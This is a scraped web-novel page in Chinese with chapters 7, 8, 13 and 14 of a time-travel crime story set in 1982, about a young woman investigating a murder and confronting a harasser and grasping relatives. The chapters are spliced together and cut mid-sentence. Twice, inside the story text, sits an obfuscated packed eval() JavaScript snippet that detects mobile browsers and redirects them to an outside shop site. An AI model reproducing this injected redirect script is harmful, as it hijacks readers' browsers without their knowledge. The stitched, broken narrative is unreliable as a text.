庄问笙心里思索,面上却不显:“是吗?” “庄队你不要这么紧张。”岑安锦说,“我一个小姑娘,还能吃了你不成?” 庄问笙不接她的话:“抱歉,岑小姐。我不会讲故事,也没时间,你还是去找别人吧。” 他迅速将被打断的半个包子吃完,大有一副马上就走的姿态。 岑安锦也不跟他绕弯子了:“你是军人出身,何友文也当过兵。你那样的身世背景,却跑来我们这里当刑警队长……你们是不是认识?” 庄问笙就知道她肯定是为了案子,不过这不是什么见不得人的事,他倒也没否认:“他确实曾是我手下的兵,但我也并非单纯为了他而来。” “放心,我不是想打听你的隐私。”岑安锦摆摆手,“我只想知道,何友文是什么样的人?” 庄问笙:“他在战场上英勇杀敌,因此废了一条腿,立下三等功,你说他是什么人?” “庄队,别带个人情绪,这是查案大忌。”岑安锦看着他,“立体的人必然具有多面性,一个勇救落水儿童的人可能会调戏妇女,一个泼辣不讲理的女人可能很爱她的孩子,一个赌鬼平时可能非常乐于助人……英雄也是人,也有七情六欲,以完美标准要求他们,未免太过苛刻。” 她这转移重点的能力还真是厉害,不过庄问笙没有反驳她,因为单纯就这番话来说,他觉得她说得很对。 “任何犯罪,动机都至关重要。”岑安锦继续道,“了解受害者的情况,包括人际关系、性格特点,才能找到凶手的动机。比如我爸,就没有杀何友文的动机。” 明知道她是在套消息,庄问笙还是道:“你爸有。” “她的动机是什么?”岑安锦急忙问。 庄问笙却没有回答,而是接着她之前的话道:“军队的生活远比大家想象的要枯燥和辛苦,士兵们每天都在训练训练,军队的规章制度又严格,他们并没有太多展示自己多面性的机会。何友文也一样,更何况他已经退伍好几年……” “我只想知道,何友文脾气好不好?”岑安锦问。 昨天李秀花说何友文家经常有动静,她回去后,结合冯香梅打听到的贾青红,也就是何友文老婆出轨的消息,反复琢磨,还是认为何友文可能家暴。< 7. 第 7 章 《娇软美人发疯后[八零]》全本免费阅读 在这个年代,农村人生孩子,基本都在自己家里解决,结果如何全看命。 自然也就没办法去医院查出生信息。 DNA技术也还没应用到刑侦领域。 因此要分辨一对双胞胎,还真不是件容易的事。 尤其按照岑安锦的说法,他们已经互换身份很多年,即便是真,换身份这事跟这次的凶杀案应该也无关。 岑安锦已经做好庄问笙说“死的是何友武,就不是命案?”的准备了,连反驳的说辞也已经想好。 出人预料的是,庄问笙却并未轻视这个猜测。他思索几秒,掏出零钱放在桌子上,然后起身往外走:“这些事,我都会查清楚。” 没想到他说走就走,岑安锦急忙追上去:“等等,我还有个消息。” 庄问笙本来走得挺急,闻言停住脚步,回头看着她问:“你哪里来这么多消息?” “怎么?庄队怀疑我从你们警队买消息?”岑安锦从自己随身的军绿色小挎包里拿出个本子,递到他眼前,“放心吧,我想买也没渠道,都是自己分析的。” 那只是一个很寻常甚至称得上劣质的草稿本,上面龙飞凤舞写满了字,字字遒劲有力,跟岑安锦这娇娇柔柔的外表,倒是极不相称。 第一行写着:【第一种可能,流窜凶手、随机作案。】 后面便是一系列的分析,从作案手法、逃跑路线、什么地方可能会碰到目击证人等方面入手,最后得出的结论,是这种可能性极低,无线趋近于0,可以不考虑。 她的分析条理清晰、一目了然,看得庄问笙心跳都加速了几分。 他自觉就看完了第一页,刚想去翻第二页,岑安锦“刷”一下将本子收了回去。 “我能再看看吗?”庄问笙问。 “不能。”岑安锦将草稿本塞回自己的背包里。 这是她昨天晚上熬了大半宿,根据自己掌握的信息,模拟的N种犯罪可能。 然后列出每种可能需要的条件,当有更多信息出现以后,一一去对应,就很容易排除错误答案。 在缺少信息的条件下,只能这么办。 只不过,这里面涉及到一些书中提过、但警队还没掌握的信息,以及来自未来的技术,不方便让庄问笙看到。 虽然接触还不多,但岑安锦知道,庄问笙是个不容小觑的人,她并不想引起他的怀疑。 庄问笙倒也没有强求,又问:“你从哪里学来的这些分析手段?” 这个年代这个小县城实在是太落后,岑安锦没法说看电视,连侦探小说都没得看,只能道:“我自己瞎琢磨的,以前无聊的时候,就爱在脑子里构思各种故事。这次一着急,便试着分析了一下,看你的意思,我分析得还行?” “非常好,说明你很有破案的天赋。”庄问笙看起来像是信了她的话,“对了,刚才你说还有什么消息?” “福水村有个叫李秀花的,曾经跟何友武谈过对象。”岑安锦说,“除了家人之外,最有可能分辨双胞胎的,无疑就是他们的对象。我昨天跟她聊天,觉得她应该知道兄弟俩互换的事。” 她将当时李秀花的表现,大概说了下。 庄问笙点点头:“我会安排人去走访。” 岑安锦笑了笑:“好,现在我没消息了,你走吧。” 庄问笙这次却没有着急离开,而是看着她道:“我要跟你道个歉。” “啊?”岑安锦有点懵,“为什么?难道你在刚才在米粉里下毒了?” “……”庄问笙笑了下,随后认真道,“我之前能理解你担心自己父亲的心情,但也认为你没有查案的本事,只会给我们添乱。对不起,是我小瞧了你,你非常厉害。” 没想到他如此坦诚,不过岑安锦并不在意这个,她在意的是:“你的意思,是可以同意我……” “但是,我依然不能同意你参与调查案子。”庄问笙说,“规章制度就是用来遵守的。” “那你还不如不跟我道歉呢。”岑安锦轻哼一声,抬起手臂挥挥手,朝远处走去,“我还会回来的,等着吧,我要光明正大走进你们刑警队的大门。” 庄问笙:“……” 岑安锦离开警队门口后,便沿着一条街一直走下去。 以这个年代的条件,今天她说的那些信息,警方要查清楚需要的时间不会短。 虽然离抓到真凶还远着,但现在她接触到了案子,庄问笙也提前出现,岑安锦相信岑大山的结局肯定会和书中不同。 她不能太着急,免得过犹不及。 现在在县城,也没办法去找相关人员了解情况。 所以岑安锦选择先放松自己——逛街。 一是熟悉县城的环境,免得以后有需要分不清东南西北;二是锻炼身体。 原身这身体素质确实差,才走完一条街,就累得不行。 岑安锦看到前面有一条石阶,便过去坐下,想休息一会儿。 谁知道刚坐下来,就闻到一股馊味。 她四处看了看,才发现这石阶的上面还有个平台,放着好几个泔水桶。 天气热,食物残渣滋生细菌快,味道自然大。 难怪那么难闻,岑安锦赶紧起身,想去远一点的地方休息。 但就在这时候,她听到有人在身后喊:“小锦妹妹。” 岑安锦第一反应是,不会在叫自己吧? 随即又想起,原身在县城根本没有认识的人,应该不是。 她继续往前走,手臂却被人从后面抓住了:“小锦妹妹,你跑什么啊?” 那人一手的汗,隔着衣服都感觉到一股潮热的湿气,难受死了。 岑安锦用力抽出自己的胳膊,然后才抬头去看。 身边多了三个二十来岁的年轻男人,打扮得很“潮”,拉他手臂那人长得挺高大,五官称得上端正,可惜被他猥琐的眼神破坏,油得要命。 这人身上还有股比泔水还难闻的味道——狐臭。 根据她掌握的信息,加上这人的态度,岑安锦不难猜出他的身份——正是书中她的第一任老公,陆宝锋。 “你谁呀?”岑安锦当然不会傻到跟他相认,“认错人了吧?” 跟陆宝锋一起那两人见状,马上打趣:“陆宝锋,怎么回事?不说是你媳妇吗?怎么人家不认识你?” “就是,我说你小子吹牛 8. 第 8 章 《娇软美人发疯后[八零]》全本免费阅读 沈警官没想到岑安锦这么一个看似很好说话的小姑娘,竟然这么难沟通。 他抬头想缓一缓情绪,却看到一个熟悉的身影从门口走过,激动地“蹭”一下站起来:“庄队,请等一下。” 岑安锦听到这个称呼,迅速转头,只看到一个背影。 两秒后,又看到庄问笙缓缓退回来,正跟她对上视线。 岑安锦咧嘴一笑,朝他挥挥手。 庄问笙:“……” 脑子里闪过的第一个画面,是她早上挥着手说:“我要光明正大走进你们刑警队的大门。” 其实有时候,说话也可以不用那么作数。 “什么情况?”庄问笙还是走了进来。 沈警官将自己看见的情况,简单说了一遍。 他听到岑安锦喊救命,又看到几个男人围着她,急忙跑过去。 结果到了面前才发现,吃亏的好像是陆宝锋,他疯了一样想要报复岑安锦,沈警官和同事们费了好大劲才将几人弄回来。 到现在,他也还不知道到底发生了什么事。 “为什么向别人泼泔水?”庄问笙看出沈警官对付不了岑安锦,在旁边坐下来问。 岑安锦说:“他耍流氓。” 庄问笙还没说话,沈警官就瞪大了眼睛:为什么同样的问题,不同的人问,效果就差这么多? “你放屁!”隔壁陆宝锋又跳了起来,“我是她对象!而且我连她手都没碰到……” 庄问笙扭头看了他一眼。 他是军人出身,还上过战场,早就练出一身凶悍气势。只不过平时伪装得比较好,这会儿眼神稍微凶了点,陆宝锋直接吓得一抖,后半句话也说不出口了。 “坐下。”就连负责给陆宝锋做笔录的警察都不自觉紧张,呵斥道,“老实回答你的问题,别人的事跟你无关!” 陆宝锋坐了回去。 “他不是我对象。”岑安锦倒是很淡定,对庄问笙道,“你们可以去打听,我根本没有对象,所有给我说媒的,我都拒绝了。今天我好好在街上走,没招谁惹谁,他和他的两个朋友就围过来语言调戏,还动手动脚。你们听听他说的话,要不是遇到沈警官,我都不知道会被欺负成什么样……庄队,这事没完,我要告他。” 书中原身在岑芝兰的撺掇下,跟陆宝锋见了面,双方都很满意。 随后岑大山的案子判下来,原身成了杀人犯的女儿。 陆宝锋一边安慰原身,哄得原身跟他滚了床单;一边绝口不提结婚的事。 后来原身怀孕,被岑芝兰看出来。 她上陆家闹了好几次,才让他们答应娶原身。 但是,原本答应的彩礼什么的,全都没了,连婚礼也以“怕被人看出肚子大”为由取消了。 结婚没多久,陆宝锋就开始在外面跟其他女人鬼混。原身找公婆做主,他们不仅不管教儿子,还怪原身没魅力留不住儿子,说她未婚先孕丢人。 不仅如此,婚前说好的不用干活也是放屁,陆家每天都要给原身安排很多活计。 原身一次干活的时候摔倒,导致早产难产,陆家也不送医院。 后来还是岑芝兰将原身送去医院,才保住一命。 原身生下个儿子,本以为日子会好过一点。 没想到的是,陆宝锋喜欢上外面的女人,没等原身出月子就想离婚。 原身不同意,他就家暴。 后来原身受不住,愿意离婚了,陆宝锋家暴上瘾,反而不同意。 直到岑大山的案子改判。 但那时候的岑大山,已经不是从前那个豪迈的杀猪匠。他跪在陆家门口求了好几天,才成功让原身离婚。 岑安锦在看到这段剧情的时候,是真憋屈得不行。 但现实中这些事情毕竟还没发生,她也不能拿陆宝锋怎么样。 没想到,今天会在街上碰到陆宝锋。 要是在原来的世界,陆宝锋做的事情,可能不算什么,警方教育几句就会将他放了。 但现在是1982年,对“流氓罪”判得很重。 岑安锦入乡随俗,既然穿进了这个世界,当然要遵守利用这个世界的规则。 不提替书中原身报仇,单说她自己,要是今天她放过了陆宝锋,以这人的性格,必定会报复她。 既如此,她当然要将他送进去。 “我们都不相信那姑娘是他媳妇,果然是他吹牛。”陆宝锋那两个朋友跟他就是酒肉朋友,被庄问笙的气势震住,没敢撒谎,承认是陆宝锋先调戏岑安锦。 加上当时街上的店铺里,也有目击证人。 陆宝锋被拘留起来。 “要是陆家有人报复,直接来找我们,警方会保护你。”庄问笙对岑安锦道。 “我知道,谢谢庄队。”岑安锦还惦记着岑大山的案子,“我爸的案子有进展了吗?” “暂时还没有。”庄问笙说,“很多信息还在核实中,一旦有消息,我们会第一时间通知家属。” 他还担心岑安锦着急,没想到岑安锦反过来安慰他:“好的,谢谢,辛苦你们了。” 她这么善解人意,庄问笙颇有点不习惯,一时竟不知道该说什么。 “那没什么事,我就先回去了?”岑安锦看时间不早,不敢久留。 庄问笙点点头,让沈警官送她出去。 两人刚走到门口,就看见外面停着一辆牛车。 岑安锦跟沈警官道过谢,快速跑过去,对赶车的大爷道:“不好意思,陈爷爷,让你久等了。” 这是同村的邻居,来县城给做生意的女儿送东西,岑安锦早上就是坐他牛车过来的。 “我等等倒是没关系。”陈爷爷有点担心,“就是看你没按约定时间来找我,有点担心,知道你要来刑警队,便过来看看……没什么事吧?” “放心吧,我没事。”岑安锦爬上后面的木板车,在一个草团上坐下来,冲沈警官挥挥手,“再见,沈警官。” 离开刑警队门口后,陈爷爷才说:“我听说今天警察在街上抓了个小姑娘,长得很漂亮,穿的也是白衣服,给我吓得不轻。” 岑安锦低头看了眼自己身上的白色碎花衬衣,笑道:“那就是我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12031278|128344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢一个人就像咳嗽,是真的藏不住。更何况李秀花是真喜欢何友武,注意力都在他身上,很快看出何友武对他哥的女朋友不一般,追着他问。 何友武承认了,但他也表示,那些都过去了。 因为那一架,李秀花很爱何友武,加上贾青红跟何友文已经在一起了,他们之间不再有可能,李秀花虽然难受,却也没想过要分手。 之后一段时间,何友武有意避嫌,跟李秀花感情迅速升温,眼看就到了谈婚论嫁的时候。 但就在这时候,何友武突然提出分手,态度坚决。 理由是他不爱她。 李秀花都要疯了,她甚至去找过何友武家人,他们提出可以给她一笔钱,但希望她不要纠缠。 这让李秀花更加生气,刚好隔壁大毛跟她示好,她便嫁给了大毛。 “当时的想法,是他们不让我好过,我也不会让他们好过。”李秀花叹了口气,“现在想起来就很后悔,我自己也就算了,连累大毛被人泼脏水。” “过去无法改变,过好当下向前看。”岑安锦安慰她几句,又问,“那你是怎么发现何友武兄弟俩身份互换的?” 李秀花对何友武又爱又恨,并且是抱着报复的目的跟大毛结的婚,婚后自然会关注何友武。 她看到“何友武”偶尔会变得友善,随后又像想起什么似的,突然发脾气。以前的何友武虽然脾气不好,但发脾气都有理由,而不是像个神经病。 她看到“何友武”面对弱小被欺负视而不见;看到“何友武”挑一桶水都费劲;看到“何友武”有事第一个找父母……总之,外人眼中忽略的小事,都被李秀花看在眼里。 “你不是何友武,你是何友文。”李秀花去诈“何友武”。 没想到对方怂得不行,瞬间乱套。 “他说,是何友武逼着他换的身份。何友武说,如果他不答应,等他当兵走了,何友武在家里还不是想把贾青红怎样就怎样。”李秀花脸上露出嘲讽的神色,“他只能答应……” 岑安锦问她:“你相信吗?” “我相不相信重要吗?不管怎么样,何友武一定是因为可以和贾青红结婚,才和何友文换的身份。”李秀花说,“后来我就没怎么关注他们的事了。” 这个说法其实有点牵强,但也不是没可能。 还是先告诉警方吧。 岑安锦本想去一次县城,没想到庄问笙刚好又来到福水村,这次是重新勘察现场。 看来案子有了新突破。 岑安锦按捺住好奇,先将整理出来的信息交给他。 庄问笙看着那张纸,眼神动了动。 这就是一份标准的笔录,而且,警方也询问过李秀花好几次,什么信息都没挖出来……这个岑安锦,到底是什么人? 庄问笙想了想,问她:“你原来的分析里,是不是有过多个凶手的假设?” 岑安锦眼睛一亮,点了点头。 “方便给我看看吗?”庄问笙问。 岑安锦稍稍犹豫,将草稿本翻出来,又仔细看了一遍,确定里面没有不能给他的信息,才撕下来几张,递给庄问笙。 庄问再次道谢,最后道:“你们在福水村住住好几天了吧?可以回家了。” 岑安锦大喜。 这话的意思,不就岑大山没事了吗? 结合他前面的举动,应该是凶手不止一人,岑大山的嫌疑大大降低,可以回家了。 岑安锦识趣地没有多问,回去跟何三一家告别。 这段时间,她每天都在给何玉珍做心理疏导。何玉珍状态明显好了不少,会跟他们讲岑天福是如何虐待她的,刚来的时候一天到晚想着回家,现在也不怎么提了。 何三他们对岑安锦很感激,打心底里希望她多住几天。 但这不现实,别的不说,总不能等岑大山回到家,家里却没人吧? 岑安锦私下里跟何强他们交代了一些沟通技巧,又写下满满一张纸的注意事项,教他们如何跟何玉珍相处。 一切准备妥当后,母女俩才告辞离开。 何强坚持要送她们一程,几人走到村头的时候,看到一个老人坐在路边的石头上抹眼泪。 佝偻着背,头发花白,身体单薄像一片枯叶。 “胡伯,这是怎么了?”何强认识这人,急忙上前打招呼。 老人见到他们,胡乱擦了把眼睛,扯出一个笑:“没什么,今天刚领了抚恤金,被沙子迷了眼……这是你家亲戚?” “玉珍村子里的,过来看看她。”何强拍拍老人的肩膀,“那我们走了,你早点回去。” 他没有多逗留,走出一段才跟岑安锦她们介绍:“胡伯就住何友文家隔壁,他儿子也是军人,在一次抗洪救灾中牺牲了。” 岑安锦问:“那是哪一年的事?” “何友文他们去参军那年,而且就在报名那几天,我记得很清楚。因为我本来也准备去报名,因为这事我爸死活不让我去,那年村子里参军的人特别少。” 岑安锦心里一动。 有没有可能,是何友文在报名后,得知隔壁熟悉的邻居牺牲的消息,就打起了退堂鼓? 他本就对当兵不感兴趣,是因为贾青红一句喜欢才去报名的。但一时的冲动,并不足以支撑太久,更不足以给他勇气去面对死亡。 他们的父母本就喜欢何友文,舍不得他去当兵吃苦。出了这事,自然更加害怕,更不想让他去了。 恰好何友武没选上,于是就让兄弟俩互换了身份? 13. 第 13 章 岑安锦回到梨花沟,天已经黑了,她点上煤油灯,拿出本子,将今天得到的信息写下来。 冯香梅则开始收拾屋子、准备晚饭。 正忙着,外面传来脚步声。 岑安锦扭头,从敞开的门口看到隔壁朱爷爷正在自家院子里溜达。 “小锦,你们回来了?”朱爷爷跟她对上视线,笑着打招呼。 俨然已经忘记了之前的不愉快。 岑安锦笑了笑,说:“是啊。不好意思朱爷爷,我们这趟出门,没带东西回来,家里也什么都没有,没法招待你了。” 因为原身胃口不好,每次岑大山出门,只要有条件,都会带点好吃的回来。 这朱爷爷嘴馋,脸皮又厚,经常上门蹭吃蹭喝。 岑大山和冯香梅都是大方的人,自己不吃也要招待别人,这朱爷爷渐渐养成习惯,一看到他家有人从外面回来,就会条件反射地跑过来。 今天听到岑安锦这样说,朱爷爷老脸一红,但人家笑着说的,他也不好计较。 “小锦你在说什么呢?邻里之间,哪里需要招待。”朱爷爷为了证明自己不是来蹭吃的,反而走上台阶,“我是来告诉你们一个重要消息的。” “什么消息?”岑安锦起身,站在门口跟他聊天,不让他进屋。 朱爷爷不答反问:“你爸什么时候回来?” “快了。”岑安锦说,“就这两天吧。” 朱爷爷将信将疑,但还是道:“那就好,只要他回来就没事了。我也就放心了,不然还真替你们母女俩担心。” “到底什么事啊?”岑安锦看他虽然有点夸张,但并不像说谎的样子。 “你堂哥要结婚了,你知道吧?”朱爷爷道。 “哪一个?”岑安锦还真没什么印象。 岑大山这辈共有六个兄弟姐妹,不过,只有他和岑芝兰的妈妈才是同一个妈生的,剩下四个是另一个妈生的。 在原身爷爷结婚那个年代,还没有废除一夫多妻制度,岑爷爷娶了两个老婆。 岑大山亲妈死得早,小妈当然偏向自己的亲生儿女,两房人关系一直不好。 原身又不爱出门,不爱交际,跟这些所谓的堂兄弟姐妹,一点也不熟。 “你二伯家的岑建明啊。”朱爷爷惊讶地看着她,这丫头也太不关心身边的人和事了吧,“这你都没听说?” “他那婚事不是都定下来了吗?”冯香梅听了半晌,忍不住凑过来问,“出什么事了?” “那姑娘家是县城的,听说彩礼要得高。”朱爷爷平时游手好闲,到处看热闹,这些消息倒是灵通。 “爷爷不是最疼二伯?”岑安锦撇撇嘴,“再高的彩礼他家也能拿出来,不用担心。” “能拿出来,也不一定愿意往外拿啊。他家还好几个孩子呢,不为后面的打算?”朱爷爷说,“我听说,他们在打你家的主意呢,你们可小心着点吧。” 岑安锦笑出声来:“那只是我名义上的堂哥,又不是我儿子,他结婚关我家屁事。想要钱?一分都没有。” 话是这样说,晚上吃饭的时候,岑安锦还是叮嘱冯香梅:“要是二伯家来借钱,可千万别借,一分钱都不借。” “我也不想借,但别人会不会说啊?”冯香梅苦着脸道,“那毕竟是你二伯,你爸爸又向来大方……” “前几天二伯堵在家门口,说你偷他家梨的时候,怕别人说了吗?爸爸对人大方,可有什么用?他遇到麻烦,有人来帮我们吗?”岑安锦知道她的思想没那么快转变过来,也不嫌麻烦,叮嘱道,“你就咬死了不借,要是我爸回来怪你,我帮你骂他。” 冯香梅听得“噗嗤”一乐,想了想,跑回自己房间。 过会儿拿了一张存折,和一个上锁的铁盒子过来,一并交给岑安锦:“我怕我心软,家里的钱都交给你保管……不是让你去面对他们的意思,只是我手里没钱,就没法借出去。” 岑安锦一笑,爽快接过来:“让我面对更好,看我骂不死他们。” 两人说说笑笑,倒也没太把这事放心上。 第二天,岑安锦起了个大早,将昨晚整理出来的信息装进信封,拿到陈爷爷家,托他什么时候去县城,带给庄问笙。 陈爷爷家跟何玉珍家是亲戚,关系也不错,知道她帮了何玉珍,而且初具成效,对她印象很好。 “我一定亲手送到庄队长手里。”陈爷爷拍着胸脯保证,“你放心,我刚好今天就要去县城,马上出发,在他们上班前就能送到。” “不着急,送到就行。陈爷爷你办事,我放心得很。”岑安锦嘴甜道,“谢谢陈爷爷。” 寒暄几句,岑安锦婉拒了他们留她吃早饭的好意,跑步离开。 这段时间住在何玉珍娘家,怕被何友文他们发现,一直没怎么出门,锻炼的事自然也就搁浅。 现在不能再拖了。 岑安锦绕着梨花沟跑了一圈,回来的时候远远便看到自家门口围了一圈人,吵吵闹闹的,也不知道出了什么事。 她急忙加快速度,一口气跑回家差点换不过气,眼前直冒星星。 真是一步都走不了了,岑安锦撑着院子边一棵梨树休息,顺便听听是怎么回事。 “……那套首饰本来就不是给你的。”原身二伯母廖素英的声音自人群中传出来,尖利刻薄,“那是给小锦亲妈的,你一个后妈,小锦连声‘妈’都不肯叫你,你哪里来的脸霸占着人家的东西啊?” 她一说“首饰”,岑安锦就明白了。 岑大山亲妈生前有一套黄金打的首饰,临死前交给了岑大山,说是给他未来媳妇的。 后来那套首饰先到了原身亲妈手里,原身亲妈死后,岑大山又将首饰交给了冯香梅。 这些年不适合张扬,冯香梅一次都没戴过。昨天晚上她给岑安锦的盒子里,就装着那套首饰。 岑安锦看到后去问她,冯香梅说:“我从来没想要这些,本来是想帮你保管到你结婚再给你。现在看来,你自己比我更适合保管财物,不如早点给你。” 她们都以为,二伯家会来借钱。 万万没想到,人家根本不是想借,而是明晃晃地想抢。 “不管你今天说什么,我都不会把首饰给你的。”冯香梅明显不擅长吵架,不知该如何回击,态度倒是比之前要强硬许多。 声音虽然微微有点颤音,但听起来不是想哭而是气的,进步不小。 “大家听到了吗?看看这人多不要脸,霸占着别人的家产,还如此理直气壮。”廖素英提高声音,试图带领围观群众共同谴责冯香梅。 “啧啧,廖素英这脸皮,真是比城墙倒拐还厚。” “那也没办法,谁叫大山没儿子?” “也是,这东西不管交到冯香梅还是岑安锦手上,都是便宜了外人,不如给老二家。” “唉,岑大山成了杀人犯,小锦又是个女娃,这家人算是彻底完了。” …… 看热闹的村民虽没有高声应和廖素英,但也都在窃窃私语,竟还有不少人是赞同二伯一家做法的。 众人正议论得起劲,忽然听到身后传来“咣咣咣”几声巨响。 现场瞬间安静下来,众人纷纷回头,就看到岑安锦拎着口破锅靠在一棵梨树上。她长发没有编辫子,而是在脑袋上扎成一团,露出一张精致漂亮的脸。脸上还带着汗珠和潮红,倒是比平日里病恹恹的状态看着鲜活许多,一双杏眼水洗过般乌黑透亮,正从众人脸上一一扫过。 目光如炬,看得好些人心里莫名发憷。 有几个爱看热闹的更是觉得眼前这场景,有点眼熟,默默给岑安锦让开一条路。 岑安锦这才不徐不疾朝廖素英走过去:“原来二伯母也知道,抢别人家的东西,是不要脸啊?佩服佩服,为了给儿子娶媳妇,连脸都不要了。只是不知道,你儿媳妇娘家知道吗?” 廖素英闻言,脸色顿时就变了:“小锦,这话可不能乱说啊。” 她之所以打冯香梅那套金饰的主意,一是本就觊觎已久;二是儿子好不容易找到一个城里对象,想拿出点好东西来撑面子,免得儿子在娘家抬不起头。 要是因为这事毁了儿子的好姻缘,才是得不偿失。 “小锦,你不要误会,我这样做,全都是为你好啊。”廖素英之前就想过一套冠冕堂皇的说辞,这会儿急忙搬出来,“首饰我只是借来用一用,用完就还给你,到时候东西还是你的。但是,你不借给我,东西就一直握在你后妈手里。你爸现在的情况,肯定是出不来了。你后妈迟早得再嫁给别人,到时候她将东西带走了,哪还有你的份?小锦,你要想清楚,我们都是岑家人,我们才是自己人,我不会害你的。” 岑安锦等她说完,才笑眯眯地说:“谢谢二伯母的‘好心’,不过你大概并不知道,我妈已经把首饰给我了。东西在我手里,不存在我妈会带着东西跑路的情况。还有,我爸很快就能出来了。所以,我家的事就不劳你操心了,你还是回去操心自己家的事吧,不送了。” 廖素英没想到首饰竟然在岑安锦手里,愣了一会儿,但她哪里甘心就这样离开,又道:“在你手里就好,那我也放心了。小锦啊,你看,建明是你亲堂哥,跟你最亲近了。等他娶到城里的媳妇,认识了城里人,就能给你介绍个好对象,到时候去城里享福,吃香的喝辣的不用干活……所以,你能不能把首饰借给我们?就结婚当天戴一戴,戴完就还给你。” 【叮!】 【触发情报:廖素英手上戴的玉镯,是陈丽英的嫁妆。】 陈丽英就是岑大山亲妈。 岑安锦盯着廖素英衣袖下面露出的一丝翠绿色,没作声。 “小锦你可千万别借!她嘴上说得好听,借出去不还,你就拿不回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12031279|128344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”人群中有人忽然大吼一声。 岑安锦抬头望去,却只看到一个年轻男人的背影,应该是被他父母一左一右拖着走了。 其他人趁机嚷嚷起来。 “对,别借,借了肯定要不回来。” “还是借吧,小锦现在也没个依靠,不靠他们靠谁呢?” “这家人靠得住?” “好歹是姓岑的,总比外人好。” …… 岑安锦抬起手臂,轻轻往下一压,人群自动安静下来。 “借首饰的事先等等。”岑安锦对廖素英道,“二伯母现在知道冤枉我妈了?” 廖素英左右看看,看没人帮她说话,只得含糊地“啊”了一声。 岑安锦:“那你是不是该给我妈道歉?” “我给她道歉?”廖素英差点跳起来,“没门。” “那你请回吧。”岑安锦转身,“不道歉,借首饰的事,我不会考虑。” 眼看着她真头也不回地离开,廖素英急了,一咬牙道:“你等一下。” 岑安锦扭头看着她。 廖素英说:“小锦,我们才是一家人……” 岑安锦再次往屋里走去。 “哎,等等。”廖素英没办法,脱口道,“对不起。” “声音太小,听不清。”岑安锦转过身来,“还有,请你说清楚,为什么道歉。” 廖素英一张脸憋得又红又青,咬牙提高声音:“香梅,对不起,我冤枉了你。” “哈哈哈你廖素英也有今天!” “廖素英几时跟人道过歉?小锦厉害啊。” “不愧是读过书的。” “就爱看廖素英吃瘪,为这个我也支持小锦。” …… “小锦,我歉也道了,你该把首饰借给我了吧?”廖素英顾不上那么多,朝岑安锦伸出手。 人群瞬间安静下来。 岑安锦笑了笑,说:“对不起,不借。” 廖素英像被人迎面打了一拳,整张脸都扭曲了:“你说什么?” “说、不、借。”岑安锦口齿清楚,一字一顿。 “你耍我玩呢?”廖素英表情变得怨毒阴狠,“这么多人都听到了,你说我道歉就借……” “不对,我说的是‘不道歉,借首饰的事,我不会考虑’。现在你道了歉,我也考虑清楚了,结果就是不借。”岑安锦摊手,“有问题吗?” “没问题!”人群里有看热闹不嫌事大的,大声吼道。 廖素英阴沉着脸,朝岑安锦走近两步。 岑安锦岿然不动。 冯香梅则顺手操起旁边的扫帚,挡在岑安锦面前。 人群安静下来,不敢再起哄。 吵架和打架,那可是两码事。 廖素英盯着岑安锦看了好几秒,到底还是没敢动手:“岑安锦,你给我等着。” 她带着一肚子怨气离开,还听到岑安锦在身后大声道:“各位也看到了,他们一直就是这样毫无根据揣测我们家的。所以,要是以前二伯家说过我们什么不好的话,大家最好是不要信,基本都是谣言……” 廖素英牙都快咬碎了,脚步也越来越快。 “小锦,廖素英不是省油的灯,你要小心她报复哦。” “就是,她肯定不会就这样算了。” “他们那家人原来就跋扈,现在建明娶了个城里媳妇更不得了。” “你们要不还是再出去躲几天吧。” …… “谢谢各位的好意,我们会小心的。”岑安锦道过谢,就回了屋。 其他人见没热闹可看,也都慢慢散了。 “小锦,要不我给你舅舅捎个信,让他过来住两天?”冯香梅心里七上八下的,很是不安,“你二伯不是朱爷爷,他可狠多了。” “没事。”岑安锦拍拍她的肩,“岑建明马上要娶媳妇,真闹大了可能会把婚事搅黄,二伯他们有顾虑,不会亲自来了。” “不会来了?”冯香梅一喜。 “是不会亲自来。”岑安锦纠正。 “那是……”冯香梅愣了一会儿,“他们会让你爷爷奶奶来?” 岑安锦点点头:“大概是爷爷来。” 那位奶奶,毕竟不是亲生的,向来不怎么跟他们这边走动。 “那就更麻烦了啊。”冯香梅说,“他再怎么说也是你爷爷,他要是开口,你才不好拒绝。” 岑安锦:“放心吧,我有办法。” 她没多说,先去洗澡,洗完又坐下来吃饭,胃口还挺好。 冯香梅知道她主意多,以为她有什么好办法,也跟着坐下来吃饭。 谁知道岑安锦吃饱后,就端了盆水放到门口,又将岑大山淘汰的几把生锈的杀猪刀都翻出来,然后找了块磨刀石,坐在门口认真磨起刀来。 冯香梅:??? 14.第 14 章 “爸,你可得为我做主啊。”廖素英哭得快要喘不上气来,“就算我有再多不是,小锦一个晚辈,当着那么多人的面,也不该那样对我吧?我以后还有什么脸出去见人,我的命怎么这么苦啊……” 岑老头听得头疼,看向旁边的妻子和儿子:“这到底是怎么了?” “这不是建明要结婚了吗?素英去找小锦借点首饰……” “是,我想给建明撑面子,不想让他在岳父母家被压一头,连带着也瞧不起我们岑家……”廖素英打断丈夫的话,“我想把婚礼办得漂亮一点,有什么错?是,我去找一个小辈借首饰是很不好意思,可我那不是没办法吗?要是我自己有,哪里用得着朝别人借啊?” “怎么?小锦不肯借?”岑老头算是听明白了一点,“是小锦不肯借,还是冯香梅不肯借?” “是小锦。” 